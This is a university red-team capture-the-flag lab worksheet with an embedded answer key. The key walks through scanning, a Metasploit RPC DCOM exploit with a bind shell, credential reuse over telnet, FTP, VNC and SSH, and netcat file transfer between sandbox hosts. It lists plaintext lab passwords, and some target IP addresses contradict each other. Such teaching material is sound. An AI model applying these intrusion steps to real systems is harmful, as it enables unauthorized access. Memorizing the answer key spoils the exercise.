IT430 Lab 9 Red Team / Hacker Methodology

Names________________________, ______________________, __________________

Work in Groups of 2 or 3 people 

Your mission, should you choose to accept it (and even if you choose not to), is to find FLAG1.TXT, FLAG2.TXT, FLAG3.TXT, FLAG4.TXT, and then get FLAG4.TXT to its rightful owner.  If you go in order, each FLAG will give you a clue on your next steps.  When you have completed all tasks in all FLAGs, hand in this lab with a detailed list of what you did.  You are being graded not on getting flags, but in writing down all pertinent facts and logically trying a hacker methodology.  Getting the FLAGs are just a bonus.  Please write things as you go along as this will help you greatly.
If at any time during this exercise something does not work as you think it should, try to ping the appropriate node.  If there are issues, please let your instructor know so we can troubleshoot.

Open Green-XP with UserID: student PW: GoNavy1!

If you are on an odd numbered IA sandbox (Red Sticker) change your IP to 10.10.10.10, 255.255.255.0 subnet and 10.10.10.1 in the Primary Domain
If you are on an even numbered IA sandbox change your IP to 10.10.10.20, 255.255.255.0 subnet and 10.10.10.1 in the Primary Domain

Before starting any reconnaissance or scanning, you should know what tools you have at your disposal so list:

Answer Key for Red Teaming Exercise:

Login to Matrix (for Exercise) 
10.10.10.40 as Anderson,  Password: Neo

Users / Passwords: Neo [Administrator] (theOne), Trinity, Morpheus (RedPill), Thomas Anderson [Administrator] (Neo) 

Login to StarTrek (for Exercise)   
10.10.10.50 as Kirk,  Password: Enterprise


Start FTP if not already started.  Password: Enterprise
Users / Passwords: James Kirk[Administrator] (Enterprise), Spock (Logical), James McCoy (Bones), Scottie (WarpSpeed)
Login to StarWars (for Exercise)   
10.10.10.60 as Yoda, Password: TryNot


Verify that IP is correct if not ifconfig eth0 10.10.10.60

Login to Flix Server (for Exercise) 
10.10.10.1 as Administrator, Password: GoNavy1!
Users / Passwords: Luke (UsetheForce), Leah (CinnamonRoles), Hans (Chewy), Yoda (TryNot)
Reconnaissance Phase

Find as much information as you can before scanning the network.  From previous work, you know that the range of networks to be scanned is 10.10.10.40, 10.10.10.50, and 10.10.10.60.

Your Host Name: Green-XP
Your IP Address: 10.10.10.10
Your OS:  XP SP 2
Your useful Ports and Services:

Applications loaded that may help you with this task:

· nc

· telnet

· FTP

· VNC Server

Reconnaissance and Scanning Phases
You would normally find as much information as you can before scanning the network.  From previous work, you know that the range of networks to be scanned is 10.10.10.40, 10.10.10.50, and 10.10.10.60.  Ensure you have a good connection to these networks
nmap -A 10.10.10.40
or you could have logged in via telnet with userid: Neo and guessed password: theOne
Target Information

Target Host Name:  TheMatrix.flix
Target IP Address: 10.10.10.40
Target OS: Microsoft XP
Version: NT 3
Ports / Services:

· TVNC

· Telet

Scan the 10.10.10.50 network and write down all pertinent information

Target Information

Target Host Name: StarTrek.flix
Target IP Address: 10.10.10.20
Target OS: Windows XP
Version: SP 2
Ports / Services: 

FTP

Netcat
TVNC
Scan the 10.10.10.60 network and write down all pertinent information

Target Host Name: Starwars
Target IP Address: 10.10.10.30
Target OS: Fedora (Linux)
Version: 7
Ports / Services: 

SSH
Try an nslookup  for each image.  Did you notice a theme with the Host Names?  You can do some social engineering using wikipedia.org or imdb.com (guess user names and passwords, and administrative rights).  Keep that in mind if you need specific user or password information later.
.flix (all movies)
Exploiting Systems Phase

Gaining Operating System Access
Which tool did we use in lab to exploit an Operating System?

Metasploit
Which systems are likely vulnerable to those exploits (based on what we did in lab)?

XP SP 0
Try that against the vulnerable system.  If you get in, what users are on that system?

Potentially useful information from other TXT files

Name of file

Potentially Useful Information
:\documents and settings\anderson\my documents\NEO\coolprogram.exe (note this must be changed to nc.exe in order to make it work)
The list of users should help you find FLAG1.TXT. (Hint:  Hackers often live one life by day and use an alias when geeking out)

Write the process, tools and commands used to get to FLAG1.TXT
PC is opened by Neo, so after scan you could try Metasploit using exploit RPC DCOM and payload Win32_bind_shell.  Once in you could go to go to Thomas Anderson's 

c:\documents and settings\anderson\my documents\Work\
you would find PASSWORDS.TXT (some information, not necessarily usefull)

then under c:\documents and settings\anderson\my documents\NEO you find
What is the contents of FLAG1.TXT ?

McCoy's nickname may help you get into an insecure protocol which allows a command shell into his account.
Gaining Access Shell Network Access 
Go ahead and use information from FLAG1.TXT to island hop to the next target

Target

Tool used:

Information(User IDs, passwords, hints etc. Used)

This allows you to telnet into 10.10.10.50 with User account: mccoy and password: Bones
Potentially useful information from other TXT  (or possibly .EXE) files

Name of file

Potentially Useful Information
Using FLAG1, log into FTP using Userid: McCoy PW: Bones
Under c:\documents and settings\mccoy\my documents

Find Emergency Self-Destruct procedures.txt (In order to cancel a ship self-destruct, the Captain (Kirk) must call out "Enterprise" and the first officer (Spock) must concur with the words I concur that this action is "Logical" )
Perhaps you have enough information at this point to VNC into this account?

From there log in to TVNC with Userid Kirk, PW: Enterprise
Once you are in look for FLAG2.TXT.  What are the contents of FLAG2.TXT?
c:\documents and settings\kirk\my documents\FLAG2.TXT (Luke, UsetheForce )
Write the process, tools and commands used to get to FLAG2.TXT

Potentially useful information from other TXT files

Name of file

Potentially Useful Information
Go ahead and use information from FLAG2.TXT to island hop to the next target


Target

Tool used:

Information(User IDs, passwords, hints etc. Used)

Once you are in look for FLAG3.TXT.  What are the contents of FLAG3.TXT?

FLAG3.TXT (In order to win you must get rename the contents of FLAG4.TXT to your team's alias then get it back to Neo (since he is theOne) under the c:\WinnersCircle.  

Write the process, tools and commands used to get to FLAG3.TXT

SSH (using putty.exe) into Fedora core using Userid: Luke PW:UsetheForce
Find flag under /"  "/FLAG3.TXT with find / -name "FLAG3.TXT" and "FLAG4.TXT"
Go ahead and use information from FLAG3.TXT to find the next target (FLAG4.TXT)
Note:  Putty.exe is on your host…maybe you want to copy it your image and use that?


Target

Tool used:

Information(User IDs, passwords, hints etc. Used)

Write the process, tools and commands used to get to FLAG4.TXT

FLAG4.TXT (Take the Blue Pill!)
Now that you have FLAG4.TXT you have to get it somewhere.  List possible ways to do that…tools or techniques

Write the process, tools and commands used to get FLAG4.TXT to its rightful owner

So now you would exploit the Matrix with Metasploit (or you can use telnet if you have passwords), exploit: RPC DCOM, Payload: win_32_bindshell, turn on Neo's nc by renaming coolprogram.exe to nc.exe and then
from TheMatrix nc -l -p 80
Noting that all Linux comes with netcat, you can use netcat, but note that the syntax does not use a -p

so from the Linux nc 10.10.10.10 80

When complete with the directions in the FLAGs, call your instructor over and have a party….If you have gotten this far, you are now officially an Semi-Evil Hacker…Congratulations!  Future steps would include leaving Rootkits and other "gifts" to maintain access as well as covering your tracks, but you are well on your way now!
Keeping Access

- Backdoors and Trojans

Covering your Tracks
